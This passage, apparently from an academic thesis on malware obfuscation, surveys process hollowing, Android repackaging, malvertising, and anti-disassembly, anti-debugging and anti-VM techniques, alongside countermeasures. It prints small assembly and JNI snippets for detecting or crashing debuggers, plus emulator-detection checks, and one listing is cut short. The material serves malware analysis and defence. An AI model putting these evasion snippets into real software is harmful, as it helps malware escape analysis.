Cryptographic libraries such as OpenSSL implement the Karatsuba algorithm in order to reduce the complexity of multiplying two large \( n \)-bit numbers from \( O(n^2) \) to \( O(n \log_2(3)) \) and therefore facilitate the performance of algorithms such as RSA, ElGamal and DSA [123]. Adam Young showed in his work that it is possible to heuristically detect cryptoviruses that make use of public key cryptographic algorithms by using the highly recursive structure of the Karatsuba algorithm as an identification pattern [288]. Nevertheless, this approach can only succeed if there is no implementation of the malicious tamper-proof primitive, which prevents a proper CFG recovery (see section 3.9 Malicious tamper-proofing).

4. Entropy

The fall-back in order to find the existence of malicious cryptography is to look for high-entropy content although entropy could be a false friend. Other content such as compressed data, pictures, motion pictures and audio files also have high-entropy and could distract tools such as the IDA Entropy Plugin [83].

Once the existence of cryptography as well as the used library and algorithms are revealed, the secret key must be located. Due to malware’s nature, its asset is also used on the victim’s system beside on its own infrastructure and must be decrypted before it can be utilised. The secret key is therefore either hard coded or assembled at runtime. The lack of strong and proper key management eventually leads to key recovery by an analyst. Filiol demonstrated in his work that it is possible to construct malware with strong key management by introducing environmental keys. This approach makes the complexity of key recovery as hard as breaking the underlying cryptographic building blocks via cryptanalysis [61]. However, it has not been seen in the wild so far.
When facing proprietary encoding and encryption schemes, there are two paths, which can be followed. Firstly, one can try to reprogram the custom scheme manually. Secondly, the existing decoding and decryption stubs within the malware can be used against itself via dynamic analysis. The main drawback of the latter approach is that it limits an analyst to the intended execution path of the targeted malware sample. Fortunately, tools such as the Immunity Debugger [93] or the Android instrumentation functionality [6] in the mobile world can be used to force malware to decode and decrypt arbitrary content by using the power of instrumentation.

3.7 Malicious mimic

Malicious mimic represents the misuse of the mimic primitive introduced in section 2.2.7. When used in malware, it gives a misleading representation of trust to its environment by adopting trusted properties of the mimicked environment. In turn, this results in distraction from the malware’s asset and leads to the achievement of its integrity and availability for a limited time.

3.7.1 Pervasive protocols

Human beings are great in mimicking as mentioned in section 2.2.7 and so is malware. The use of pervasive protocols such as HTTP, HTTPS and DNS represents an implementation of the malicious mimic primitive. Monitoring the immense traffic generated through these protocols is highly challenging and therefore mercilessly exploited by malware writers in order to become one with the noise by mimicking the surrounding environment, namely the web.

In case of HTTP, header fields such as the User-agent are misused to disguise malware assets such as bot-net commands, XSS and SQL-injection payloads. Furthermore, HTTP over TLS is usually applied to secure the beaconing between the client and server side malware (e.g. command and control server) [118]. DNS requests on the other hand has been seen in the wild as a means of obfuscating the exfiltration of stolen information [186]. What is more, traffic generated by malware can be deliberately falsified in order to actively sabotage malware clustering systems whose underlying machine learning algorithms are not able to cope with malicious input as shown by Biggio et al’s bridging attacks [25].

3.7.2 Process Replacement

In the MS Windows universe, process replacement, also known as process hollowing, is a popular and effective way to disguise malware by mimicking a legitimate process of the victim. In other words, a user cannot distinguish between a valid and a malicious process by just looking at the running processes. In this case, the memory space of a running and legitimate process is overwritten by the malware’s asset resulting in a malicious process running with the same privileges as the legitimate process used to run. Thereby, replacing a process takes place by creating a process in a suspended state (i.e. its primary thread is suspended) with the goal to load and
hide it in the memory until its primary thread is resumed externally. Once resumed, the legitimate process is overwritten by the sleeping beauty [202]. A popular target process is svchost.exe, which for example was misused by Win32/Conficker in order to covertly dominate an infected client [252, 122].

3.7.3 Repackaging and Digital Signatures

Although the concept of trust is nebulous, its establishment builds the fundamental anchor for designing and developing secure systems. In the mobile world, the combination of repackaging and digital signatures represents an implementation of the malicious mimic primitive, which demonstrates extremely well how a lack in the established trust model can be mercilessly exploited by malware.

Repackaging is highly popular in the realm of Android malware. Famous apps are thereby downloaded, disassembled, extended with the malware asset, re-assembled, signed and finally submitted to the official or an alternative store [292]. Afterwards, the combination of trust by users that is put into the legitimate apps and the Google Playstore as well as the lack of user awareness due to greenness, leads malware to successfully infecting mobile devices through mimicry. Table 3.3 lists some samples found in the wild, which used to mimic legitimate apps. In this case, the trust model established through self-signed certificates is abused by malware writers [9]. In contrast, Apple overcomes this lack in their official store by using a combination of a trusted central authority as well as a strict app review process. Nevertheless, Apple’s trust foundation can be circumvented by using enterprise certificates in combination with the manipulation of the iPhone’s OCSP cache in order to bypass the app review process and to keep the OCSP response valid regardless of whether a certificate was revoked [234]. Furthermore, this approach led to the concept of Masque Attacks as proposed by Wei et al. What is more, WireLurker is a concrete malware sample found in the wild that implements the malicious mimic primitive and just represents a limited form of the Masque Attack [286, 284]!

3.7.4 Countermeasures

Fighting malware that is obfuscated through pervasive protocols is very challenging and demands for better detection mechanisms. In my opinion, the most promising countermeasure that should get more attention is data mining, which is able to detect anomalies caused by malicious traffic. However, the underlying machine learning algorithms must be re-thought in order to become resistant to the poisoning attacks proposed by Biggio et al. [25].

In contrast, detecting mimicry based on process replacement in the realm of MS Windows seems to be just like walk in the park. In this case, we can just statically look for the following sequence of MS Windows function calls as an identification pattern in order to detect a potentially malicious behaviour obscured through the mimic primitive [202]:

1. Call to the function CreateProcess [129], which is used to create the targeted process to be replaced.
## 3.7 Malicious mimic

<table>
<thead>
<tr>
<th>Malware sample</th>
<th>Mimicked applications</th>
<th>True face</th>
</tr>
</thead>
<tbody>
<tr>
<td>FakeInst</td>
<td>Skype and Instagram</td>
<td>Sends SMS to premium rate numbers.</td>
</tr>
<tr>
<td>TapSnake</td>
<td>70’s classic game called Snake</td>
<td>Spies on user’s GPS location.</td>
</tr>
<tr>
<td>Pjapps</td>
<td>Steamy Window</td>
<td>Misused to build a botnet.</td>
</tr>
<tr>
<td>BigServ</td>
<td>Google’s Android market security tool to remove Droid-Dream</td>
<td>Opens a backdoor in order to transmit device information to a remote location.</td>
</tr>
<tr>
<td>GGTracker</td>
<td>Battery-saving apps such as Battersaver and T4T Power Management or adult content apps such as Sexypic</td>
<td>Steals user SMS or sends SMS to premium rate numbers.</td>
</tr>
<tr>
<td>GoldDream</td>
<td>Games such as Draw Slasher and Drag Racing</td>
<td>Spies on user’s SMS and also has bot capabilities.</td>
</tr>
<tr>
<td>Zitmo</td>
<td>Banking activation app from the Trusteer company called Rapport</td>
<td>Also known as Zeus in the mobile, intercepts one-time pass codes issued by banks and forwards them in turn to a remote server.</td>
</tr>
<tr>
<td>GingerMaster</td>
<td>Beauty of the day app containing pictures of attractive women</td>
<td>First malware that used a root exploit and is able to download and install apps from a remote server. Its instructions are received from a C&amp;C server.</td>
</tr>
<tr>
<td>DroidCoupon</td>
<td>Several coupon apps (e.g. cn.buding.coupon)</td>
<td>Roots a device by using the RageAgainstTheCage exploit and installs, uninstalls as well as runs apps via commands received from a C&amp;C server.</td>
</tr>
<tr>
<td>Boxer</td>
<td>Opera browser, Skype, Instagram</td>
<td>Sends SMS to premium rate numbers.</td>
</tr>
</tbody>
</table>

Table 3.3: Android malware samples mimicking legitimate apps (Sources: [166, 58])
2. Allocated memory for the victim’s process is released by a call to the function `ZwUnmapViewOfSection` [147].

3. New memory is allocated for the malware by calling the function `VirtualAllocEx` [145].

4. A loop containing calls to the function `WriteProcessMemory` [146] is then used to write the sections of the malware into the victim’s process space.

5. Call to the function `SetThreadContext` [143] restores the victim’s process by setting the entry point to the newly inserted malicious code.

6. Finally, a call to the function `ResumeThread` [141] initiates the malicious code and completes the replacement process.

Attacks covertly launched via repackaging and the misuse of trust demonstrate perfectly that technology alone cannot succeed in overcoming malware. Although there exist proposed solutions such as `DroidMOSS` [291], which actively can fight the mimic primitive by detecting repackaged Android apps based on fuzzy hashed fingerprints, there is the need to invest more on the training of a system’s weakest link, namely its users. Education is key to user awareness that in turn is inevitable to reduce the attack surface for malware.

### 3.8 Malicious advertisement

The malpractice of the advertise primitive introduced in 2.2.8 is represented by the malicious advertisement primitive. It is similar to the malicious mimic primitive (see section 3.7), but uses a more active approach to convince an adversary (i.e., a victim in this case) of getting the malware’s asset by choice. This is achieved by giving a misleading representation of trust as well as the need of possessing the advertised asset in order to either overcome a specific lack or to fulfil a specific need on the part of the victim. The result is distraction from the malware’s asset through the nebulous concept of trust as well as the exploitation of human beings’ greediness. Finally, this leads to the achievement of integrity and availability of the malware’s asset for a limited time.

#### 3.8.1 Malvertising

Malvertising is one implementation of the malicious advertisement primitive and lures its victims to download malware by themselves. Thereby, users’ trust put into legitimate, but hacked websites is misused. In addition, social engineering plays a vital role and ensures that the victim has a reason to perform the download willingly. In general, the covert attack works as follows:

1. The victim navigates to a trusted, but already hacked website by clicking on an advertisement.
2. Once the landing page is loaded, the prepared malware instance is already presented or the victim is redirected to another site containing a system specific malware version that was retrieved based on the victim’s user agent. Furthermore, the convincing reason is usually given through either a false alert (e.g. an infection that can be cured) or the creation of a new demand by offering something desirable (e.g. a plug-in, codec, diet receipt, etc.). Once the piece of malware is downloaded and installed, the task of the malicious advertisement primitive is done as the malware’s existence is obscured through a layer of lies and false trust.

The malvertising network known as Kyle and Stan is a perfect example, which implements this primitive by manipulating and forcing a user into the installation of a trojanised media player that contains the well-known browser hijackers VSearch and Conduit [167].

Gandhi once said: "The world has enough for everyone’s need, but not enough for everyone’s greed." In the mobile world, especially in the realm of Android, malware writers seem to somewhat challenge this saying beneficially by offering a range of fake utilities that are only used to create a demand for promising and potentially helpful tools that in reality turn out to be completely useless and only serve one goal, namely stealthy infection. Batterydoctor is a great example that claimed to be able to recharge the device’s battery. However, its true face revealed a device information stealing trojan [58]!

3.8.2 Drive-by downloads and Real-Time Ad Bidding (RTB)

The concept of drive-by downloads builds the second implementation of the malicious advertisement primitive. In addition, this implementation is much more powerful and effective as it does not require any user interaction by bypassing the browser’s user-prompt in case of unsupported file types such as EXE, ZIP, etc. No matter whether trusted or not, once an infected website is visited, a tailored drive-by exploit is delivered according to the vulnerabilities that could be identified by fingerprinting the victim’s browser. Vulnerabilities exposed (e.g. buffer overflows) in browser plug-ins, Flash players, PDF readers, ActiveX interpreters, etc. are then exploited to gain the control of the browser temporarily. Afterwards, a shellcode is injected within the browser process to covertly install a malicious binary that in turn can take over the control over the client resulting in a permanent infection, often becoming a part of a botnet [115].

What is more, in 2014, drive-by downloads delivered via ads had a meteoric rise, especially in combination with real-time ad bidding networks (e.g. Google DoubleClick). The misuse of real-time ad bidding has the big advantage of targeting malicious ad delivery on an extremely fine-granular basis with regards to information such as user-agent strings, geo-location, cookies, etc. retrieved from browser fingerprints and client side attacks such as XSS in order to create user profiles. Furthermore, this approach is highly stealthy as the malware asset (e.g. exploit kit) delivered through ads is hidden behind a trusted and corporate front and only ephemeral. Operation DeathClick is an advanced persistent threat that implements
this primitive and also was recently detected in the wild. Figure 3.1 illustrates the life cycle of malicious real-time ad bidding, which works as follows [94]:

1. *Ad network infiltration*
   Malware writers create a corporate front in order to infiltrate ad networks as trusted and legitimate advertisers.

2. *Compromise websites*
   The targeted web sites are compromised due to the exploitation of specific vulnerabilities. Afterwards, the landing pages are used to host exploit kits.

3. *Target victims*
   The victims are chosen from the created profiles.

4. *Use of earned cash*
   Earned or rather illegally generated money is used to bid up ads directed at the target. The illegal money is thereby either retrieved by controlled botnet clicks on ads resulting in click-fraud, ransomware income (e.g. using Cryptowall 2.0), revenues of premium rate SMSes or classic stealing of banking credentials and passwords respectively.

5. *Win the ad bids*
   When a bid is won, the specific malicious ad is delivered and so is the exploit. The victim’s machine is then stealthily compromised and remains permanently infected due to the strength of a dropped back-door trojan.

6. *Cover the tracks*
   The manipulated landing pages that host the malware asset, i.e. the exploit kits in this case, are only ephemeral and deleted after a specific time with the goal to wipe away its traces.

7. *Profit!*
   Now, it is time to make money as the life cycle is complete! The newly compromised hosts join botnets, which again are used to deliver click fraud, etc. and so the malicious game restarts, i.e. steps 2 to 7 are continuously repeated!

### 3.8.3 Countermeasures

Overcoming this primitive is extremely challenging as its distraction is based on attacking the foundation that builds up security, namely trust. When it comes to social engineering based infections, awareness of users is probably the most effective way to reduce the surface of this attack whereas drive-by downloads overcome the most aware user as well.

One way to stop drive-by downloads delivered through malicious ads is to rethink the concept of ad networks, which currently lacks on standards for compliance and does not tackle malware at all. Furthermore, the anarchic architecture of ad networks due to their decentralised construction makes it extremely challenging to
monitor and detect potentially malicious ads. Therefore, a centralised architecture as well as content filtering could establish law and order in the RTB industry. However, I would not invest in this kind of solution as it only fights symptoms and not the root of the problem, namely the existence of severe vulnerabilities in operating systems as well as trusted third party applications.

The other way, which I devoutly believe is key in order to stop drive-by downloads in general, is to invest in OS security. Long et al. proposed BLADE, which represents an OS kernel module that tracks all browser-to-human interactions in order to distinguish between legitimate user downloads and malicious drive-by downloads. Therefore, it would be great to have such a mechanism in all OSes as it does not try to detect drive-by downloads but rather prevents all malicious executions, including zero-day attacks [115]! Unfortunately, this approach does not prevent in-memory execution of potentially malicious JavaScript or shellcode. Beside DEP and ASLR, which reduce the attack surface concerning this flaw, a browser extension based on the JavaScript anomaly detection mechanism proposed by Kruegel et al. can be further used to overcome this flaw by detecting and blocking drive-by downloads [49].

3.9 Malicious tamper-proofing

This malicious primitive is highly active and represents the abuse of the tamper-proof primitive presented in section 2.2.9. In addition, it is the malware’s last line
of defence in order to protect its asset. The tamper-proof functionality is thereby triggered via a specific event and its responds vary from self-destruction to destroying objects in its surrounding environment, regenerating tampered parts or also delaying its own execution via stalling code. The characteristic of this primitive is the denial of accessing the asset and therefore leads to the achievement of integrity as well as availability with regards to the malware’s asset for a limited time.

### 3.9.1 Anti-disassembly techniques

Anti-disassembly is one implementation of the malicious tamper-proof primitive that aims to hide code from the disassembler by corrupting the disassembling process, which is the trigger for this mechanism. Thereby, assumptions made by parsing algorithms are exploited in order to hinder a proper CFG recovery. Linear-sweep disassembly is a well-known and very weak parsing algorithm as it does not distinguish between code and non-code sections. Therefore, this algorithm can be easily defeated by using a crafted mix of code and non-code (i.e. data) sections. The other well-known algorithm, namely recursive-traversal is used in modern disassemblers such as IDA Pro and examines each instruction in a flow-oriented manner, i.e. it follows the program’s traversable paths, which are statically available. Moreover, it is heavily based on certain assumptions, which must be met in order to avoid severe consequences. One assumption that is often exploited by malware writers is that call instructions are always associated with function calls and the bytes following non-returning call instructions represent valid instructions. The following techniques summarise how malware writers exploit the assumptions made in order to succeed with their anti-disassembly implementations [202, 189].

#### Same target and opaque predicate based jumps

Non-returning calls such as jz and jnz are misused in succession in order to create an unconditional jump that cannot be recognised by a recursive-traversal based algorithm as it only disassembles one instruction at a time. Therefore, the false branch of the second non-returning call is always going to be disassembled and thus can lead to falsely interpreted code. In addition, the same disassembler confusion can be achieved by using an opaque false or true predicate in combination with a non-returning call.

#### Multilevel instructions

Crafted bytes can be part of two or more instructions. However, modern disassemblers can currently only associate the processed byte to one instruction. In turn, this lack is misused by malware writers to hide their asset from a disassembler as illustrated in Figure 3.2.

1. The data value 05EBh is moved to the AX register.
2. The EAX register is cleared, i.e. the zero flag is set and the register is set to 0.
3. The conditional jump \( jz \) is essentially an unconditional jump as it uses the opaquely true expression from step 2. In addition, its target that is in the middle of the \( mov \) instruction from step 1, cannot be disassembled because the corresponding bytes are already associated with the \( mov \) instruction.

4. This represents the false branch of the wrongly interpreted conditional jump (step 3), which is disassembled despite the fact that it is never called. In turn, it fakes a call instruction, which distracts from the real malware asset.

5. Finally, the stealthy jmp instruction that cannot be recovered by the disassembler is always executed and leads to the malware’s asset.

Abuse of pointers

Crafted function pointers are problematic to disassemblers due to missing function prototype information that normally is propagated to the calling function. Therefore, this lack is misused by malware writers to hide function calls. In addition, the instructions call and retn are not only misused to implement a split and merge primitive (see section 3.3.1), but also to confuse disassemblers by breaking their assumptions made. A call instruction just acts like a combination of push and jmp whereas retn acts like a pop and jmp. Therefore, this behaviour can not only be used for calling and returning from a function call, but also for controlling the program’s whole flow. The abuse of this technique leads to wrongly disassembled code and implicitly to an increase in statically reverse-engineering the malware’s asset.

Abuse of signal- and exception-handlers

Malware writers abuse signal- and exception-handlers in order to covertly transfer the program flow to a subroutine that is triggered by a signal raised or an exception (e.g. divide-by-zero or a customised exception). Modern disassemblers are thereby sabotaged as they parse through fault-raising instructions into potentially non-code bytes that finally result in wrongly disassembled code. Furthermore, this approach is very effective as the static determination of source instructions that will either raise signals or exceptions is a difficult problem in theory as well as in practice [151, 169]!
Stack frame tampering

The stack frame is very helpful when statically analysing malware as it reveals information about local variables and parameters used in functions. Modern disassemblers thereby try to reconstruct the stack frame by analysing the ESP and ESB registers. Therefore, malware writers often try to obscure this valuable information by manipulating these registers with opaque expressions with the goal to force the disassembler to take a wrong stack pointer offset resulting in a falsely disassembled stack frame.

Fuzzy-testing

Malware authors use fuzzy-testing with the goal to break disassemblers by feeding them with instructions that are rarely used in conventional code and therefore usually not supported in disassemblers. This approach is effective as conventional code only supports a subset of the huge instruction set (e.g. IA-32 [95]). Floating point instructions and instruction prefixes for locking and segment selection are concrete examples, which are used in MS Windows packers such as ASProtect and Armadillo [189].

3.9.2 Anti-debugging techniques

Another popular implementation of the malicious tamper-proof primitive is anti-debugging that is used to trigger a change in the behaviour of malware when it is under control. The common techniques used in the wild are summarised in the following sections [202, 198].

Detection of debuggers

The simplest method in order to detect a debugger is to use the corresponding API functions provided by the OS. In the world of MS Windows, the API functions IsDebugPresent [135], CheckRemoteDebuggerPresent [128], NtQueryInformationProcess [137] and OutputDebugString [139] can be used to detect a debugger in order to subsequently commit hara-kiri (i.e. crash the malware’s own process), exit properly or trigger any other custom behaviour. The analogue approach in Android’s realm can be achieved by using the static method isDebuggerConnected [10]. Furthermore, OS specific manual checks are also used by miscreants in order to retrieve the status of a potentially existing debugger in a stealthier manner. In case of MS Windows, the member BeingDebugged and the two undocumented flags called ProcessHeap and NTGlobalFlag, which reside in the PEB structure [140] are usually used as follows:

- **BeingDebugged**
  This is a member of the PEB structure (location: fs:[30h]) that is administered by the OS for each running process. Listing 3.8 demonstrates how easy it is to query the debugger status by pointing to the member and testing whether a debugger is active (ebx=1) or not (ebx=0).
3.9 Malicious tamper-proofing

Listing 3.8: Checking the member BeingDebugged (Source: [202])

```
1. mov eax, dword ptr fs:30h
2. mov ebx, byte ptr [eax+2]
3. test ebx, ebx
4. jz NoDebuggerDetected
```

• ProcessHeap
This undocumented flag reveals the position of a process’ first heap allocated that consists of two header fields, namely ForceFlags and Flags. In turn, these flags tell the kernel whether the heap was created within a debugger or not. Listing 3.9 shows how the location of the ProcessHeap and the OS version dependent heap header offsets can be used to retrieve the debugger status.

Listing 3.9: Checking the flag ProcessHeap (MS Win 7) (Source: [202])

```
1. mov eax, large fs:30h
2. mov eax, dword ptr [eax+18h]
3. ; offsets: 10 => WinXP, Win7 => 44
4. cmp dword ptr ds:[eax+44h], 0
5. jne DebuggerDetected
```

• NTGlobalFlag
Memory heaps are created differently in presence of a debugger. This difference can be again seen within the PEB structure when observing the NTGlobalFlag at offset 0x68. As demonstrated in listing 3.10, an active debugger is found if the flag’s value equals 0x70.

Listing 3.10: Checking the NTGlobalFlag (Source: [202])

```
1. mov eax, large fs:30h
2. cmp dword ptr ds:[eax+68h], 70h
3. jz DebuggerDetected
```

Furthermore, malware writers also look for other information such as known debugger program executable names in known program directories, registry keys or also active debugger windows (e.g. by using the FindWindow API function [132]) to detect a debugger.

Moving to Android specialities, a more stealthy approach than using the Android API directly is to retrieve the debugger status by checking the members debuggerConnected and debuggerActive of Dalvik’s global structure called gDvm. Listing 3.11 demonstrates how this can be achieved via JNI. What is more, as Android is based on a Linux kernel, the ptrace system call can be also utilised by misusing the fact that a child process can only be traced by one parent process. Thus, if a malware instance is debugged, it can call ptrace and check if the return value is smaller than zero. In this case, the presence of a debugger is detected as the system call returns with an error (-1) [37, 117].
Identification of debugger behaviour

A debugger modifies the code under control and thus changes its behaviour at runtime. Therefore, it violates the integrity of malware that in turn can be detected. The most common techniques observed in the wild are the following:

- **Code checksums**
  Malware writers apply weak integrity protection mechanisms to their code by either using CRC or cryptographic checksums such as MD5 and SHA1.

- **INT 3 and INT 2D checking**
  The instruction INT 3 replaces an instruction in a running program with the goal to set a breakpoint. Therefore, this fact can be easily used to detect an active debugger by scanning the own code for the existence of the opcodes 0xCC and 0xCD 0x03, which represent the instructions INT 3 and its more generic form INT immediate [248]. A stealthier and more ingenious approach is the use of the instruction INT 2D as demonstrated by the Zero Access Rootkit. The characteristic of this instruction in debug mode is that it causes a byte scission, i.e. the next immediate byte following this instruction will be skipped and thus can be used to detect the presence of a debugger [283, 30].

- **Exception checking**
  In general, disassemblers trap a thrown exception and do not pass it to the handler of the debugged process. Therefore, this can easily be checked within the exception-handling of the process under control.

- **Time checking**
  Due to the slow down of processes in presence of a debugger, malware authors use empirical time measurements concerning their operations as well as exception handling in order to detect debuggers by the delay caused.

Manipulation of debuggers

Once detected, debuggers are either forced to crash or manipulated with the goal to confuse the analyst or scanner and thus delay the reverse-engineering process.
A common approach observed in Windows malware is the insertion of INT 3 instructions in order to trick the debugger into thinking that the newly inserted fake breakpoints belong to its true set of breakpoints. Conversely, all truly inserted instructions could be completely removed unless they are tracked by the debugger.

When it comes to Android malware, there exists a bunch of possibilities to manipulate the Dalvik Debug Monitor Server (DDMS), which represents Android’s in-house debugging tool [11]. The approaches here base again on the misuse of Dalvik’s global variables as already demonstrated in section 3.9.2 to detect the presence of the debugger. This time, the focus lies on the following members of the global gDvm structure:

- **breakpointSet**
  This member contains the set of all breakpoints during a debugging session. As demonstrated in listing 3.12, modifying (dereferencing a null pointer) this member via JNI results in a crash (segmentation fault) as soon as breakpoint is set.

```java
1 JNIEXPORT jboolean JNICALL Java_com_malware_crashBreakpointUsage(JNIEnv∗ env , jobject obj)
2 {
3    gDvm. breakpointSet = NULL;
4    return JNI_TRUE;
5 }
Listing 3.12: Dalvik breakpointSet member manipulation (Source: [198, 8])
```

- **dbgRegistry**
  In contrast, this member contains all objects known to the debugger during its runtime. Listing 3.13 shows how all these references to the objects tracked by the debugger can be freed. In addition, the logic on line 7 increases the stealthiness of this active defence as it mimics the debugger’s original start-up behaviour by re-initialising dbgRegistry with a hash table of the same size.

```java
1 JNIEXPORT jboolean JNICALL Java_com_malware_freeTrackedObj(JNIEnv∗ env , jobject obj)
2 {
3    dvmHashTableLock(gDvm. dbgRegistry);
4    dvmHashTableFree(gDvm. dbgRegistry);
5    // mimic the debugger’s original startup
6    // -> copied from Debugger.c
7    gDvm. dbgRegistry = dvmHashTableCreate(1000 , NULL);
8    dvmHashTableUnLock(gDvm. dbgRegistry);
9    return JNI_TRUE;
10 }
Listing 3.13: Dalvik dbgRegistry member manipulation (Source: [198, 8])
```
• methDalvikDdmcServer_dispatch
  This member points by default to the dispatch method of the DdmServer implementation [7], which is responsible for receiving and handling data chunks of Dalvik during a debugging session. As demonstrated in listing 3.14, this member can be either misused to force a crash of the debugging thread upon initialisation or call and execute a customised method.

```java
JNITRUE;
```

Listing 3.14: Dalvik methDalvikDdmcServer_dispatch member manipulation (Source: [198, 8])

However, it is notable to highlight that I could not find any real Android malware instance, which already makes us of this approach, but that is only a matter of time. I am ready and looking forward to catching one soon in the wild!

**Exploitation of debugger vulnerabilities**

A debugger is nothing more than another piece of software and therefore inherits all of its weaknesses, especially its vulnerability to bugs! Once spotted, malware authors implement specific attacks with the goal to exploit identified implementation flaws in a debugger resulting in a crash. As the vulnerabilities are very specific to the tools, this approach is not further discussed here.

### 3.9.3 Anti-VM techniques

The last implementation of the malicious tamper-proof primitive is anti-VM, which I use to embrace both, anti-virtualization and anti-emulation techniques. Similar to the anti-debugging techniques described in section 3.9.2, these techniques have also been developed by malware authors in order to evade and impede dynamic analysis approaches of scanners and analysts respectively. The common techniques, which one faces in the cyber jungle, are described in the subsequent sections.

**Detection of virtualization**

Whether used in the desktop or in the mobile world, virtualization (e.g. VMware [223], VirtualBox [158], Parallels [165]) and emulation software (e.g. QEMU [178],...
Android Emulator [12]) leave static characteristics, which can be used to heuristically detect the presence of the specific environment used.

VMware, for example, leaves its traces in the file system (i.e. via its installation directory), in the registry (in case of MS Windows) and also via its processes required (e.g. VMwareService.exe, VMwareUser.exe and VMwareTray.exe in case of MS Windows). Furthermore, there are also hardware specific marks such as the MAC address, whose first three tell-tale bytes (00:0C:29) expose VMware’s identity as these bytes are defined to be vendor specific [202].

Turning the focus on Android, table 3.4 summarises the static characteristics abused by malware writers with the goal to detect an emulated Android environment. The Android malware family Pincer represents thereby an excellent example that makes use of these static characteristics in order to become resilient against dynamic analysis [224].

| Device property | Check (1 := VM detected | 0 := VM not present) |
|-----------------|-------------------------|
| IMEI/IMSI       | IMEI == NULL ? 1:0      |
|                 | IMSI == NULL ? 1:0      |
| Current build   | PRODUCT == google_sdk ? 1:0 |
|                 | MODEL == google_sdk ? 1:0 |
|                 | HARDWARE == goldfish ? 1:0 |
| Network Interface | ETH0 == 10.0.2.15 ? 1:0 |

Table 3.4: Android’s static characteristics during emulation (Sources: [168, 12])

Identification of virtualization-based behaviour

When it comes to the virtualization or emulation of environments, finding the right trade-off between security and performance is of paramount importance. In order to avoid performance hits, only a subset of instructions are properly virtualized or emulated respectively, i.e. binary translated. Unfortunately, the performance gain results in a security lack caused by the residues of the instruction set. Thus, the non-binary translated instructions can be abused by malware authors in order to identify a non-native environment [106].

Based on the lack described, two classes of tests have emerged, namely red pills and no pills. Thereby, both classes make use of the instruction set’s residues and check if the corresponding return values behave differently when executed in a non-native environment [202, 179]. Information such as the address of the interrupt descriptor table (IDT) or local descriptor table (LDT) retrieved via the instruction sidt and sldt respectively, is thereby used for example. In addition, Paleari et al. demonstrated in their work that it is possible to automatically generate red pills based on EmuFuzzer, which is a CPU testing methodology that is able to identify differences between an emulated and non-emulated CPU [161]. What is more, as CPU bugs are dependent on the processor’s family and not always emulated or virtualized, they can be used to identify non-native behaviour, too. Moreover, as the performance of a non-native environment cannot be as high as the native one,
the relative performance of two or more instructions executed on a system can also uncover a non-native environment [181].

Moving to the mobile world, especially to Android specialities, a key difference of mobile phones compared to conventional computer systems, is the existence of sensors (e.g. accelerometer, magnetic field, proximity, gyroscope, etc.). The Android emulator does not have sensor simulators by default and thus can be exploited by using sensor fingerprints as a means of effectively detecting and evading dynamic analysis. Furthermore, event scheduling and cache synchronisation also represent key characteristics, which differ in emulated and native Android environments and thus can be abused to hinder dynamic analysis approaches [168].

Exploitation of vulnerabilities in VM-based tools

Analogues to the explanation in section 3.9.2, VM-based tools also just represent software and therefore can be exploited due to weak implementation practices. As the vulnerabilities in this case are also very tool-oriented, this approach is not further discussed here.

3.9.4 Countermeasures

The anti-disassembly techniques can be effectively overcome by dynamic analysis. However, in order to fight them statically, a skilled malware analyst is certainly required. As a first indication for an employed anti-disassembly technique, references that point into the middle of an instruction can be a good hint. Afterwards, analysing the code by reading it is inevitable. Once the obfuscation technique is spotted, the code must be manually patched either by using NOP instructions to deactivate junk code, adding cross references to detect existing pointer manipulations or applying disassembler specific features (e.g. switching between code and data interpretation or stack frame pointer adjustment in IDA to recover wrongly disassembled code fragments). Nevertheless, this task is very painful, time-consuming and challenging if the techniques are properly implemented. Furthermore, in order to reduce the effectiveness of malicious fuzzy-testing, one could extend the supported instruction set by popular disassemblers.

Fortunately, fighting anti-debugging techniques is not that challenging and can be statically overcome with reasonable effort. All implementations of the presented techniques are based on a conditional jump and therefore can be tackled by manipulating the malware’s execution path. The easiest way to achieve this is by either forcing the jump or not (e.g. by manually modifying the zero flag ZF or the specific members and flags used to build the condition). In addition, hardware breakpoints can be extremely helpful to overcome INT scanning and code checksum mechanisms as they do not violate the malware’s integrity, i.e. they do not change the malware code at runtime [199].

Dynamic analysis is defeated by anti-VM techniques as described in section 3.9.3. Fortunately, it is possible to fight back these techniques by statically patching the binaries. Similar to the anti-debugging techniques, the implementations of the anti-VM techniques are all based on checks, i.e. the patching can be reduced to over-
coming conditional jumps or removing characteristic instructions such as in the case of red and no pills by NOP-ing them out. In case of Android, the abuse of the static characteristics and sensor behaviours can be prevented by reconfiguring the properties with non-default values and applying external simulators respectively. Finally, the lack of properly simulating event scheduling and cache synchronisation can be circumvented by either using hardware-assisted virtualization or hybrid application execution, i.e. forwarding native code to real mobile devices as proposed by Petsas et al. [168].

3.10 Malicious dynamic

Malicious dynamic represents the evil double of the dynamic primitive described in section 2.2.10. Its characteristics are continuous and unpredictable change that are used to ensure integrity and availability of the malware’s asset for a limited time.

3.10.1 Oligomorphism & Polymorphism

Oligomorphism means few forms or shapes and is derived from the Greek words oligo (i.e. few) and morphe (i.e. form or shape). It represents an implementation of the malicious dynamic primitive and was the first attempt of malware writers towards their goal of being able to implement evolutionary malware. As illustrated in Figure 3.3, the oligomorphic approach is designed as follows:

Figure 3.3: The architecture of oligomorphic and polymorphic malware (Source: [180])

1. The malware body is equipped with a fixed number of complementary obfuscation functions, i.e reversible functions. At obfuscation time, one of these implementation pairs is chosen at random and used to obfuscate the asset of the malware. Furthermore, the entry point of the malware is modified to point
to the function that is able to de-obfuscate the asset at runtime. Thereby, especially the encryption-based implementation of the malicious map primitive (see section 3.6) is popular in the wild. However, this approach is not restricted to encryption and could be based on any other reversible mechanism as well.

2. Once arrived at its final destination, the asset is de-obfuscated and utilised.

3. Finally, as soon as the malware’s goal is successfully achieved, its asset is obfuscated again with another implementation, which is randomly chosen out of the fixed set of available implementations. In addition, the entry point is corrected in order to point to the corresponding de-obfuscator.

Oligomorphism goes back to the 90’s, where the Whale virus implemented this technique for its debut. Further examples such as Win95/Memorial and the Russian virus family WordSwap followed by using a bigger fixed set of possible obfuscation and de-obfuscation functions [213]. Once the fixed set is revealed by an analyst, this approach is broken and becomes ineffective. In order to overcome this weakness, malware writers improved this approach by introducing polymorphic code.

